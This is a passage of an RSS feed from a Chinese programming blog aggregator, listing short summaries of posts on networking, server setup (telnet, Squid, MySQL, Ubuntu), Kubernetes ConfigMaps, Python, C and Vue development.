IP数据报&#xA;(1)版本：占4位，该IP数据报版本为4；&#xA;(2)首部长度：占4位，首部长度20个字节；&#xA;(3)区分服务：占8位，不区分服务；&#xA;(4)总长度：占16位，总长度524字节，其中首部20字节，数据504字节；&#xA;(5)标识：占16位，0x73b7，即29623；&#xA;(6)标志：占3位，目前只有两位有意义，DF=1，不能分片，MF=0，这已经是若干分片的最后一个；&#xA;(7)片偏移：占13位，该IP数据报片偏移为0；&#xA;(8)生存时间：占8位，TTL=53；&#xA;(9)首部检验和：占16位，该IP数据报首部检验和为0xd8f5，&#xA;(10)源地址：占32位，113.105.154.13；&#xA;(11)目的地址：占32位，192.168.43.32。&#xA;由上述信息我可以得到：&#xA;（1）我使用的计算机的IP地址是什么？&#xA;192.168.43.32&#xA;（2）在IP数据报首部，较高层协议字段中的值是什么？&#xA;1(ICMP)。&#xA;（3）IP首部有多少字节？载荷字段有多少字节&#xA;首部有20字节，载荷字段有40字节。&#xA;（4）该IP数据包分段了没有？如何判断该IP数据报有没有分段？&#xA;没有；片偏移为0则说明该IP数据报没有分段。</description>
    </item>
    <item>
      <title>Error: connect ECONNREFUSED 127.0.0.1:3306 at TCPConnectWrap.afterConnect [as oncomplete] (node:</title>
      <link>https://bchobby.github.io/posts/754c11260348ceb25f19c88a576c54d8/</link>
      <pubDate>Mon, 06 Jun 2022 21:56:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/754c11260348ceb25f19c88a576c54d8/</guid>
      <description> 问题描述 启动服务器失败，报错信息如下：&#xA;Error: connect ECONNREFUSED 127.0.0.1:3306 at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1157:16) --------------------&#xA;原因分析： 数据库名称不对： 解决方案： 1.打开后台数据库命名文件夹 config 找到数据库命名项&#xA;2.更改database项中命名.&#xA;3.重启控制器,重新连接数据库,&#xA;提示：这种情况要么是命名不对，要么是你的sql文件没有导入，建议检查！ </description>
    </item>
    <item>
      <title>keras.Model</title>
      <link>https://bchobby.github.io/posts/f64ca15a540031048b039d6b11a39f53/</link>
      <pubDate>Mon, 06 Jun 2022 16:24:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f64ca15a540031048b039d6b11a39f53/</guid>
      <description>目录&#xA;Class Model&#xA;Used in the guide:&#xA;Used in the tutorials:&#xA;__init__&#xA;Properties&#xA;layers&#xA;metrics_names&#xA;run_eagerly&#xA;sample_weights&#xA;state_updates&#xA;stateful&#xA;Methods&#xA;compile&#xA;evaluate&#xA;evaluate_generator&#xA;fit&#xA;fit_generator&#xA;get_layer&#xA;load_weights&#xA;predict&#xA;predict_generator&#xA;predict_on_batch&#xA;reset_metrics&#xA;reset_states&#xA;save&#xA;save_weights&#xA;summary&#xA;test_on_batch&#xA;to_json&#xA;to_yaml&#xA;train_on_batch&#xA;Class Model Model groups layers into an object with training and inference features.&#xA;Aliases: tf.compat.v1.keras.Model, tf.compat.v1.keras.models.Model, tf.compat.v2.keras.Model, tf.compat.v2.keras.models.Model, tf.keras.models.Model&#xA;Used in the guide: The Keras functional API in TensorFlowTrain and evaluate with KerasWriting custom layers and models with KerasSave and serialize models with KerasRecurrent Neural Networks (RNN) with Keras Used in the tutorials: Pix2PixImage segmentationDeepDreamNeural style transferLoad a pandas.</description>
    </item>
    <item>
      <title>推荐 8 个 yyds 的开源项目</title>
      <link>https://bchobby.github.io/posts/f0bb455ac648ebfb98411d182b16f1d9/</link>
      <pubDate>Mon, 06 Jun 2022 15:06:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0bb455ac648ebfb98411d182b16f1d9/</guid>
      <description>本期推荐开源项目目录：&#xA;1. App ideas&#xA;2. 中国程序员容易发音错误的单词&#xA;3. 新型冠状病毒数据库&#xA;4. 全新的构建 Web 界面的方法&#xA;5. Vite &amp;amp; Vue 支持的静态站点生成器。&#xA;6. 视频制作机器人&#xA;7. 50 天 50 个项目&#xA;8. 北京买房攻略&#xA;01 App ideas&#xA;这个项目是一个项目列表，该列表会根据开发者的水平提供一些练手项目，帮助你提升编程技巧。&#xA;这个开源项目可以帮助你：提高编程能力;助你尝试新技术;增加你的项目经验。这个列表中提到的小项目，易于完成，易于扩展。&#xA;这不仅是一个简单的列表，每个项目都描述的足够详细，有明确的描述性目标和应当实施的用户故事列表，以方便你从头开始进行开发。&#xA;开源地址：https://github.com/florinpop17/app-ideas&#xA;02 中国程序员容易发音错误的单词&#xA;本开源项目收集了技术栈相关的容易发音错误的单词。本着简单的原则，又为了避免程序猿们出现选择困难症， &#39;正确音标&#39;采用了最接近有道词典音频的英式 DJ 音标,，不代表其唯一性。&#xA;开源地址：https://github.com/shimohq/chinese-programmer-wrong-pronunciation&#xA;03 新型冠状病毒数据库&#xA;这是由约翰霍普金斯大学系统科学与工程中心 (JHU CSSE) 运营的 2019 年新型冠状病毒可视化仪表板的数据存储库。此外，由 ESRI Living Atlas 团队和约翰霍普金斯大学应用物理实验室 (JHU APL) 提供支持。&#xA;开源地址：https://github.com/CSSEGISandData/COVID-19&#xA;04 全新的构建 Web 界面的方法&#xA;Svelte 是一种全新的构建用户界面的方法。传统框架如 React 和 Vue 在浏览器中需要做大量的工作，而 Svelte 将这些工作放到构建应用程序的编译阶段来处理。&#xA;与使用虚拟（virtual）DOM 差异对比不同。Svelte 编写的代码在应用程序的状态更改时就能像做外科手术一样更新 DOM。</description>
    </item>
    <item>
      <title>redhat7 安装telnet服务</title>
      <link>https://bchobby.github.io/posts/29a5bf8b1d3fe2607a97697c0310ac22/</link>
      <pubDate>Mon, 06 Jun 2022 14:39:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29a5bf8b1d3fe2607a97697c0310ac22/</guid>
      <description>redhat7 安装telnet服务 1. 先检查是否安装了telnet 和 xinetd rpm -qa | grep telnet rpm -qa | grep xinetd 2. 安装telnet服务器 2.1 安装之前养成好习惯 ，先更新一下yum .&#xA;sudo yum update 2.2 安装&#xA;（a. 安装telent服务端）&#xA;yum -y install telnet-server.x86_64 （b. 安装telent客户端）&#xA;yum -y install telnet.x86_64 （c.安装telnet守护进程xinetd ）&#xA;yum -y install xinetd.x86_64 3. 安装后检查 rpm -qa | grep telnet rpm -qa | grep xinetd 4. 安装完成后，设置开机自启动 # 设置开机自启动 sudo systemctl enable xinetd.service # 启动命令服务 sudo systemctl start telnet.</description>
    </item>
    <item>
      <title>centos/redhat搭建代理服务器</title>
      <link>https://bchobby.github.io/posts/4bdb57c8ae1de12e0efeaab5fe4f5ac7/</link>
      <pubDate>Mon, 06 Jun 2022 13:06:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bdb57c8ae1de12e0efeaab5fe4f5ac7/</guid>
      <description>这里搭建的是squid代理服务器 Squid是一个高性能的代理缓存服务器,Squid支持FTP、gopher、HTTPS和HTTP协议。 服务器环境：服务器centos7.9、 redhat7.0&#xA;搭建环境：主机A(redhat7.0)不能上网，而同一网关内的主机B(centos7.9)可以上网。在主机B上搭建了squid代理服务器，方便主机A上网。&#xA;1、安装 1.1安装之前养成好习惯&#xA;sudo yum update 1.2 进行安装&#xA;yum install squid -y yum install httpd-tools -y 2、密码文件操作 2.1 生成密码文件&#xA;mkdir /etc/squid3/ # usernameNet 是用户名 htpasswd -cd /etc/squid3/passwords usernameNet # 提示输入密码，在这里我设的密码为 123456 # 注意密码不要超过8位 2.2 测试密码文件&#xA;/usr/lib64/squid/basic_ncsa_auth /etc/squid3/passwords # 输入 用户名 密码 usernameNet 123456 # 提示OK说明成功，ERR是有问题，请检查一下之前步骤 OK # 测试完成，crtl + c 打断 3、配置 vim /etc/squid/squid.conf # 在最后添加 auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid3/passwords auth_param basic realm proxy acl authenticated proxy_auth REQUIRED http_access allow authenticated # 这里是端口号，可以按需修改 # http_port 3128 这样写会同时监听ipv6和ipv4的端口，推荐适应下面的配置方法。 http_port 0.</description>
    </item>
    <item>
      <title>pytorch CrossEntropyloss使用方法(包括多维度)</title>
      <link>https://bchobby.github.io/posts/ec3050bf04b2fa1959cd2ae7a1502342/</link>
      <pubDate>Mon, 06 Jun 2022 00:31:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec3050bf04b2fa1959cd2ae7a1502342/</guid>
      <description> pytorch CrossEntropyloss使用方法(包括多维度) 官方文档给出的用法如下：&#xA;也就是说，在网络的output要把分类放在第二维，第二维后面的代表的是网络的维度，看起来非常简单，示例代码如下：&#xA;loss = nn.CrossEntropyLoss() input = torch.randn(9, 5, 2) target = torch.empty(9, 2, dtype = torch.long).random_(5) output = loss(input, target) </description>
    </item>
    <item>
      <title>macOS键盘定制神器Karabiner Elements</title>
      <link>https://bchobby.github.io/posts/848bc623360ffe2261266f750e6abc71/</link>
      <pubDate>Sun, 05 Jun 2022 22:26:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/848bc623360ffe2261266f750e6abc71/</guid>
      <description>之前用windows时，一直使用Capslock+这个工具，关于这个工具可以参考我的这篇博客https://blog.csdn.net/qq_38048756/article/details/109263043&#xA;最近转到mac，虽然Capslock+对应有mac版capslox，前两个月免费，后面是需要付费的。&#xA;找了一圈终于找到了一个更强大的免费开源工具Karabiner Elements&#xA;这个工具比capslox还要强大，他支持自定义配置。&#xA;而且提供了很多人提供的一些定义好的配置，其中包括：基于karabiner实现替代capslox软件部分功能的配置&#xA;你只需要下载好Karabiner Elements，然后直接导入别人已定义好的capslox软件部分功能的配置，然后就可以直接使用了（需要注意的是：大小写切换为：capslock + Esc ｜ 中英文切换：capslock+空格）。&#xA;如果你打算自定义复杂配置，可参考官网教程https://karabiner-elements.pqrs.org/docs/json/（注意from后面跟的改变后的key，to后面跟的是改变前的key）。&#xA;参考链接：&#xA;https://karabiner-elements.pqrs.org/docs/&#xA;https://github.com/yqchilde/capslox-karabiner&#xA;https://yqqy.top/capslox-karabiner/&#xA;https://blog.csdn.net/qq_26012495/article/details/88539120</description>
    </item>
    <item>
      <title>虚拟机的搭建方式</title>
      <link>https://bchobby.github.io/posts/f4a445334d89e1f59fe4ad6972e6db05/</link>
      <pubDate>Sun, 05 Jun 2022 18:08:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4a445334d89e1f59fe4ad6972e6db05/</guid>
      <description> 在VMware中，有三种方式搭建虚拟服务器：桥接、nat和host-only。当选用&#34;桥接&#34;方式时，不仅当前机器(搭建虚拟机的机器)可以和虚拟机进通信，而且同一网段的其他电脑也可以和虚拟机进行通信。当选用&#34;nat&#34;方式时，仅当前机器能和虚拟机进行通信，并且当当前机器能够访问网络时，虚拟机也可以访问网络。当选用&#34;host-only&#34;时，仅当前机器能和虚拟机进行通信，并且当当前机器能够访问网络时，虚拟机不可以访问网络。&#xA;桥接 选用&#34;桥接&#34;方式，虚拟机会占用一个真实网卡，在同一多人环境下会发生ip冲突现象，但是使用桥接方式搭建服务器，可以和同一网段的其他电脑机箱通信。&#xA;修改配置&#xA;查看ip(无线网)，在配置linux的网络配置文件中的虚拟机ip时，虚拟机ip必须和这个ip是同一网段的。&#xA;修改linux的ip地址&#xA;[root@localhost ~]# vi /etc/sysconfig/network-scripts/ifcfg-ens33 [root@localhost ~]# systemctl restart network #追加如下内容 IPADDR=192.168.0.128 NETMASK=255.255.255.0 GATEWAY=192.168.0.1 DNS1=8.8.8.8 nat 修改配置&#xA;修改ip地址&#xA;[root@localhost ~]# vi /etc/sysconfig/network-scripts/ifcfg-ens33 [root@localhost ~]# systemctl restart network IPADDR=192.168.163.128 NETMASK=255.255.255.0 GATEWAY=192.168.163.2 DNS1=8.8.8.8 host-only 修改配置&#xA;修改ip&#xA;[root@localhost ~]# vi /etc/sysconfig/network-scripts/ifcfg-ens33 [root@localhost ~]# systemctl restart network IPADDR=192.168.184.128 NETMASK=255.255.255.0 GATEWAY=192.168.184.2 DNS1=8.8.8.8 </description>
    </item>
    <item>
      <title>vue-cookies过期时间设置无效</title>
      <link>https://bchobby.github.io/posts/c531b1f726a0c04c784a44ff4285b685/</link>
      <pubDate>Sun, 05 Jun 2022 17:18:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c531b1f726a0c04c784a44ff4285b685/</guid>
      <description>vue-cookies过期时间设置无效 最近项目用到了vue-cookies，用是挺好用的，但是在设置过期时间时让我傻了眼，因为我按照之前网上的设置过期时间的方法，完全没用，不管怎么样设置他都是会话内生效。&#xA;搞得我直接人麻掉，因为我是想让它存在个两三天的，这肯定不行，我的设置方法是按照网上的说的这样设的：&#xA;或者把后面的D改成小写，改成什么day啥的，都试过，完全没用。后来我无意间发现了一个可以用的设置，改了之后果然生效了，大家可以试一下。&#xA;后面的数字表示过期时间，60就是一分钟，246060就是一天，246060*7就是7天。&#xA;大家如果也遇到了vue-cookie过期时间设置无效的情况可以试试，万一有用呢。</description>
    </item>
    <item>
      <title>Linux 离线安装 mysql 5.7</title>
      <link>https://bchobby.github.io/posts/b19381229be186cfb759acd006e8e110/</link>
      <pubDate>Sat, 04 Jun 2022 22:59:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b19381229be186cfb759acd006e8e110/</guid>
      <description>mysql 检查自带mariadb数据库 并删除 #查看mariadb rpm -qa|grep mariadb #删除mariadb yum remove mariadb-libs 把下载好的 mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz 放到 /opt 目录下 解压，移动并重命名 tar -zxvf /opt/mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz mv /opt/mysql-5.7.37-linux-glibc2.12-x86_64 /usr/local/mysql 递归修改权限为 mysql组 mysql用户 useradd -g mysql mysql chown mysql.mysql -R /usr/local/mysql 在/usr/local/mysql/support-files/路径下创建 my.cnf vim /usr/local/mysql/support-files/my_default.cnf 粘贴复制以下内容 [mysqld] #设置mysql的安装目录 basedir =/usr/local/mysql #设置mysql数据库的数据存放目录 datadir = /usr/local/mysql/data #设置端口 port = 3306 socket = /tmp/mysql.sock #设置字符集 character-set-server=utf8 #日志存放目录 log-error = /usr/local/mysql/data/mysqld.log pid-file = /usr/local/mysql/data/mysqld.pid #允许时间类型的数据为零(去掉NO_ZERO_IN_DATE,NO_ZERO_DATE) sql_mode=ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION #ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION 拷贝覆盖 /etc/my.cnf cp /usr/local/mysql/support-files/my.</description>
    </item>
    <item>
      <title>卸载windows安装ubuntu的完全指南</title>
      <link>https://bchobby.github.io/posts/4b656140cdc0405ae868d88c1aa928d5/</link>
      <pubDate>Sat, 04 Jun 2022 10:51:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b656140cdc0405ae868d88c1aa928d5/</guid>
      <description>新配置了一台深度学习服务器，但是预装系统为windows10，与需求不符。于是，自己动手安装ubuntu（18.04）。此文为过程记录。&#xA;主要步骤： 准备一个u盘，用来制作ubuntu镜像安装ubuntu安装完成之后，没有网卡驱动，需要手动安装。（安装驱动的时候，发现gcc、g++和make也没有安装，而安装网卡的时候需要make命令）更新软件包列表，更新软件 详细过程： u盘镜像制作 下载镜像http://releases.ubuntu.com/18.04.5/ubuntu-18.04.5-desktop-amd64.iso下载安装刻录软件最新UltraISO官方免费下载 - UltraISO软碟通中文官方网站刻录 （1）点击“文件”，选择下载好的ubuntu镜像&#xA;（2）点击“启动”，选择“写入硬盘镜像”&#xA;（3）选择合适的写入方式，点击“格式化”后，再点击“写入”，等待写入完成（100%）。如若写入失败，提示重新格式化后再试，这种情况是u盘有问题，更换u盘再试。&#xA;ubuntu安装 插入刚刚制作好的ubuntu镜像u盘，重启电脑。进入BIOS（F2），选择从u盘启动系统。&#xA;在此步骤中需要注意的是，因为原本有windows系统，所以我们在分区的时候应该选择手动分区，将硬盘原本的windows内容（也可以删除全部分区）全部删除，重新分区。这样就变成了一个纯净的ubuntu单系统了。&#xA;注意事项：一定要设置efi分区&#xA;目录建议大小格式描述EFI300Mefi安装启动引导器的设备/boot1Gext4空间起始位置swap物理内存2倍swap交换空间/200Gext4根目录/home剩余空间ext4用户工作目录 网卡驱动等软件安装 安装好ubuntu18.04是没有网卡驱动的，所以没有办法上网，需要继续安装驱动。在安装驱动的时候发现还需要依赖make命令，但是很不幸，make也没有安装。于是乎，安装顺序变为先安装make，再安装网卡驱动。&#xA;make 不需要额外去下载软件包，这些软件包在制作镜像的u盘的pool/main目录下。&#xA;查看依赖，以下目录都在pool/main/下&#xA;cd pool/main/ find -name gcc* 进入/g/gcc-8/&#xA;sudo dpkg -i lib*.deb 进入pool/main/l/linux/&#xA;sudo dpkg -i linux-libc-dev_4.15.0-76.86_amd64.deb 进入/g/glibc&#xA;sudo dpkg -i lib*.deb 进入/g/gcc-7&#xA;sudo dpkg -i lib*.deb sudo dpkg -i g*.deb 进入/g/gcc-8&#xA;sudo dpkg -i lib*.deb 进入/m/make-dfsg&#xA;sudo dpkg -i make_4.1-9.1ubuntu1_amd64.deb 安装完gcc、g++和make之后，需要设置软链接，例如sudo ln -s /usr/bin/工具名-x.xxx /usr/bin/工具名，工具名可在/usr/bin目录下查看。&#xA;设置gcc软连接的示例&#xA;sudo ln -s /usr/bin/gcc-7 /usr/bin/gcc 网卡驱动安装 首先查看适配的网卡驱动</description>
    </item>
    <item>
      <title>【已解决】联想电脑摄像头无法使用</title>
      <link>https://bchobby.github.io/posts/7cf83f5dd069fb27e2df67510edf332d/</link>
      <pubDate>Sat, 04 Jun 2022 09:50:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cf83f5dd069fb27e2df67510edf332d/</guid>
      <description>问题描述 设备：联想拯救者R7000&#xA;摄像头显示如下图&#xA;尝试过网上的命令行以及设备管理器等操作，还是不如下面的操作有效&#xA;解决方法 下载联想电脑管家&#xA;管网安装后点击电源键并点击摄像头</description>
    </item>
    <item>
      <title>进入 页面 F12 自动打开断点 的解决办法</title>
      <link>https://bchobby.github.io/posts/0d8d5a1cd645525f91bfc16af7bb4b8d/</link>
      <pubDate>Fri, 03 Jun 2022 21:41:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d8d5a1cd645525f91bfc16af7bb4b8d/</guid>
      <description>这个页面为什么自己会打开断点处理？ - SegmentFault 思否&#xA;总的来说就是&#xA;打开 F12&#xA;进入 sources / 源代码 点击 这个蓝色钻头 停用所有断点 即可</description>
    </item>
    <item>
      <title>Js生成json数据并导出json文件</title>
      <link>https://bchobby.github.io/posts/4873eaa1cb76032919615ac1656264b7/</link>
      <pubDate>Fri, 03 Jun 2022 13:07:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4873eaa1cb76032919615ac1656264b7/</guid>
      <description>Js生成json数据并导出json文件 目录&#xA;前言&#xA;一、生成数据&#xA;二、导出json文件&#xA;三、完整代码&#xA;前言 在实际开发中或者自己学习中经常需要使用到json数据，这时候这个就可以自己&#xA;搞定。&#xA;一、生成数据 InitDataFun() { let ListData = []; let FirstContentData = []; let SecondContentData = []; let ThirdContentData = []; let FourContentData = []; for (var i = 0; i &amp;lt; 16; i++) { if (i &amp;lt; 6) { FirstContentData.push({ Name: &#34;一级水厂&#34; + (i + 1), Label: &#34;一级水厂&#34; + (i + 1), Status: 0, Msg: [], IsFather: true, Depth: 1, Time: &#34;</description>
    </item>
    <item>
      <title>k8s 持久化存储及configmap、secret挂载</title>
      <link>https://bchobby.github.io/posts/dad58d4e89b051cc149a2df02492ca3e/</link>
      <pubDate>Thu, 02 Jun 2022 19:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dad58d4e89b051cc149a2df02492ca3e/</guid>
      <description>1、挂载主机目录，常用于日志文件挂载和hosts文件挂载&#xA;volumeMounts:&#xA;- mountPath: /etc/hosts&#xA;name: hosts&#xA;subPath: hosts&#xA;- mountPath: /www/logs/&#xA;name: clife-sleep-commons-web-push-business-logs&#xA;volumes:&#xA;- hostPath:&#xA;path: /etc/&#xA;type: &#34;&#34;&#xA;name: hosts&#xA;- hostPath:&#xA;path: /data/services/logs/new-county/&#xA;type: &#34;&#34;&#xA;name: clife-sleep-commons-web-push-business-logs&#xA;2、挂载configmap&#xA;创建configmap资源&#xA;apiVersion: v1&#xA;kind: ConfigMap&#xA;metadata:&#xA;name: mysql-config&#xA;data:&#xA;my.cnf: |&#xA;[mysqld]&#xA;datadir=/var/lib/mysql&#xA;log-error=/var/log/mysql/error.log&#xA;slow_query_log=ON&#xA;slow_query_log_file=/var/log/mysql/tmp_slow.log&#xA;default-storage-engine=INNODB&#xA;character_set_server=utf8&#xA;lower_case_table_names=1&#xA;table_open_cache=128&#xA;max_connections=2000&#xA;max_connect_errors=6000&#xA;innodb_file_per_table=1&#xA;innodb_buffer_pool_size=1G&#xA;max_allowed_packet=64M&#xA;transaction_isolation=READ-COMMITTED&#xA;innodb_flush_method=O_DIRECT&#xA;innodb_lock_wait_timeout=1800&#xA;innodb_flush_log_at_trx_commit=0&#xA;sync_binlog=0&#xA;sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION&#xA;skip-name-resolve&#xA;[mysql]&#xA;default-character-set=utf8&#xA;[mysql.server]&#xA;default-character-set=utf8&#xA;init.sql: |</description>
    </item>
    <item>
      <title>如何设计一门计算机编程语言</title>
      <link>https://bchobby.github.io/posts/4845ea68bdfc6453deed148220b93137/</link>
      <pubDate>Thu, 02 Jun 2022 18:06:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4845ea68bdfc6453deed148220b93137/</guid>
      <description>一、概述&#xA;计算机编程语言顾名思义，是用来和计算机进行沟通的语言。计算机编程语言伴随着计算机的发明，作为计算机领域各种软件的基础，不断推动着计算机技术的发展。本文中，将主要关注设计开发一种计算机编程语言，对于其他类似的语言，比如MarkDown、数据查询语言、数据交换语言等不涉及。&#xA;计算机编程语言自从诞生以来，不断发展，很多已经逐渐消失在历史的长河中，当前(2022年)最流行的几门语言包括(**排名不分先后**)：Python、Java、Javascript、C++、Kotlin、R、PHP、Go、C、Swift、C#等。使用计算机编程语言可能是本文读者在日常工作和生活中经常做的一件事情，那么计算机编程语言是如何设计的呢？设计和实现一门计算机编程语言复杂吗？我们什么时候有必要设计一门计算机编程语言呢？如何实现一门计算机编程语言呢？希望这篇文章能够解答上面的疑惑。&#xA;二、TinyLanguage定义及功能&#xA;很多人学习的第一门编程语言是C语言，C语言作为一门很古老的语言（1967年发明），至今已经有50多年的历史，但是当今依然非常流行。比如现在已经渗透到大家生活中方方面面的Linux操作系统就是主要用C语言开发的，大家在生活中见到的各种以单片机为主控的嵌入式设备也是大部分以C语言作为编程语言的。这里想表达的意思是，C语言除了历史悠久、非常流行之外，它也拥有独特的设计之美、简洁之美。我们来看一下一个简单的C语言程序：&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; int main(int argc, char *argv[]) { int i, n; int t1 = 0, t2 = 1; int nextTerm = t1 + t2; if (argc != 2) { fprintf(stderr, &#34;please input one number\n&#34;); return -1; } n = atoi(argv[1]); for (i = 3; i &amp;lt;= n; ++i) { t1 = t2; t2 = nextTerm; nextTerm = t1 + t2; } printf(&#34;%dth value is %d\n&#34;</description>
    </item>
    <item>
      <title>C语言编程作业</title>
      <link>https://bchobby.github.io/posts/f3c0cfeeaf6f62a022d8a6f7430ca788/</link>
      <pubDate>Thu, 02 Jun 2022 16:08:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3c0cfeeaf6f62a022d8a6f7430ca788/</guid>
      <description>C语言编程作业 Week1编程作业1 C程序必看&#xA;平均数 从键盘输入某同学的3科成绩，输出这3科成绩的平均分&#xA;#include &amp;lt;stdio.h&amp;gt; main(){ float a,b,c,avg; scanf(&#34;%f,%f,%f&#34;,&amp;amp;a,&amp;amp;b,&amp;amp;c); printf(&#34;%.2f&#34;,avg=(a+b+c)/3);&#x9;} 和、差、积、商与余数 输入2个整数 num1 和 num2，计算并输出它们的和、差、积、商与余数&#xA;#include &amp;lt;stdio.h&amp;gt; int main(){ int a,b; scanf(&#34;%d%d&#34;,&amp;amp;a,&amp;amp;b); printf(&#34;%d + %d = %d\n&#34;,a,b,a+b); printf(&#34;%d - %d = %d\n&#34;,a,b,a-b); printf(&#34;%d * %d = %d\n&#34;,a,b,a*b); printf(&#34;%d / %d = %d\n&#34;,a,b,a/b); printf(&#34;%d %% %d=%d\n&#34;,a,b,a%b); return 0; } 字母大小写转换 #include &amp;lt;stdio.h&amp;gt; int main(void) { //ASCII码表中: // A-Z: 65-90 //a-z: 97-122 char cLetter; char cDifference = &#39;a&#39; - &#39;A&#39;; // 计算出大写字母与小写字母的ASCII值的差,97-65等于32 printf(&#34;</description>
    </item>
    <item>
      <title>node与node镜像源常用命令</title>
      <link>https://bchobby.github.io/posts/33d93e3fe1e9e1e5163bdab7bfa08a74/</link>
      <pubDate>Thu, 02 Jun 2022 15:01:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33d93e3fe1e9e1e5163bdab7bfa08a74/</guid>
      <description>文章目录 一、node常用命令二、镜像源1.使用配置2.cnpm3.使用nrm 一、node常用命令 查看npm命令&#xA;npm help 安装模块(包)：&#xA;// 全局安装 npm install 模块名 -g // 本地安装 npm install 模块名 // 一次性安装多个 npm install 模块1 模块2 模块n --save // 安装运行时依赖 npm install 模块名 --save or npm install 模块名 -S npm install 模块名 --save-dev 查看安装目录：&#xA;// 查看本地安装的目录 npm root // 查看全局安装的目录 npm root -g 卸载模块(包)：&#xA;// 卸载本地模块 npm uninstall 模块名 // 卸载全局模块 npm uninstall -g 模块名 更新模块(包)：&#xA;npm update 模块名 npm update 模块名 -g 查看当前安装的模块(包)：</description>
    </item>
    <item>
      <title>python学习-4-函数式编程,高阶函数,匿名函数,装饰器</title>
      <link>https://bchobby.github.io/posts/3aaf7b51df1ce510986fabb49f878987/</link>
      <pubDate>Thu, 02 Jun 2022 14:32:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3aaf7b51df1ce510986fabb49f878987/</guid>
      <description>什么是函数式编程 允许将函数本身作为参数传入另一个函数还允许返回一个函数 高阶函数 函数本身可以赋值给变量函数名本身就是指向函数的变量 可以将函数名指向其他对象 若一个函数可以接受另一个函数作为参数,该函数称之为高阶函数 def high_func(x,y,f): return f(x) + f(y) map &amp;amp; reduce map(func,Iterable) 将传入的函数一次作用到序列的每个元素上并将结果作为新的Iterator返回Iterator是一个惰性序列哦, 可以使用list将其转换成Iterable, 从而消除惰性 eg: 将列表中所有元素转换成字符串 list(map(str,[1,2,3,4,5])) reduce(f,[x1,x2,x3,x4]) = f(f(f(x1,x2),x3),x4) 要求f必须接收两个参数会将前面的结果作为第一个参数, 和Iterable中的参数进行运算是一种递归的感觉? eg : 序列累加 reduce(add,[1,2,3,4,5]) # practice def normalize(name): return name[0].upper() + name[1:].lower() filter 就是一个过滤器,根据设定好的函数作为条件,然后对Iterable进行过滤,并返回一个Iteratoreg: 筛选素数 # 奇数生成器 def _odd_iter(): n = 1 while True: n = n + 2 yield n # 筛选条件 def _not_divisible(n): return lambda x: x% n &amp;gt; 0 # 生成素数 def primes(): yield 2 it = _odd_iter() while True: n = next(it) yield n it = filter(_not_divisible(n),it) 感觉还是别试图去搞清楚它的具体细节,是先生成奇数再过滤还是怎样 # 筛选出回文数 def is_palindrome(num): s = str(num) i,j = 0,-1 while i&amp;lt;=len(s)/2: if s[i]!</description>
    </item>
    <item>
      <title>Vue基础调色板案例</title>
      <link>https://bchobby.github.io/posts/f59d285cc877e5c4ac598ec4dc5425c3/</link>
      <pubDate>Thu, 02 Jun 2022 09:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f59d285cc877e5c4ac598ec4dc5425c3/</guid>
      <description>Vue中的控制属性要用‘background-color’加引号，而纯html是不用的；</description>
    </item>
    <item>
      <title>vue2.x 微信公众号授权拿取code,静默登录</title>
      <link>https://bchobby.github.io/posts/2d92fb20dd57f46bfcf6f02f46e0851c/</link>
      <pubDate>Thu, 02 Jun 2022 08:57:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d92fb20dd57f46bfcf6f02f46e0851c/</guid>
      <description>1.前提是微信公众号后台已经配置了 业务域名地址和网络授权地址&#xA;2.例如在首页授权登录，在当前页面引入对应的js&#xA;import { isWXBrowser, getWechatCode } from &#34;@/utils/common&#34;; 3.common.js&#xA;// 判断是否微信环境 export const isWXBrowser = (() =&amp;gt; { const ua = window.navigator.userAgent.toLowerCase() return /(micromessenger|webbrowser)/g.test(ua) })() import axios from &#39;axios&#39; // 判断是否为微信环境 const isWechat = () =&amp;gt; { return String(navigator.userAgent.toLowerCase().match(/MicroMessenger/i)) === &#34;micromessenger&#34;; } export const getUrlCode = () =&amp;gt; { // 截取url中的code方法 var url = location.search; var theRequest = new Object(); if (url.indexOf(&#34;?&#34;) != -1) { var str = url.</description>
    </item>
    <item>
      <title>C语言排序算法实现</title>
      <link>https://bchobby.github.io/posts/059c1f775b708111d71f425a47e7272a/</link>
      <pubDate>Wed, 01 Jun 2022 20:26:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/059c1f775b708111d71f425a47e7272a/</guid>
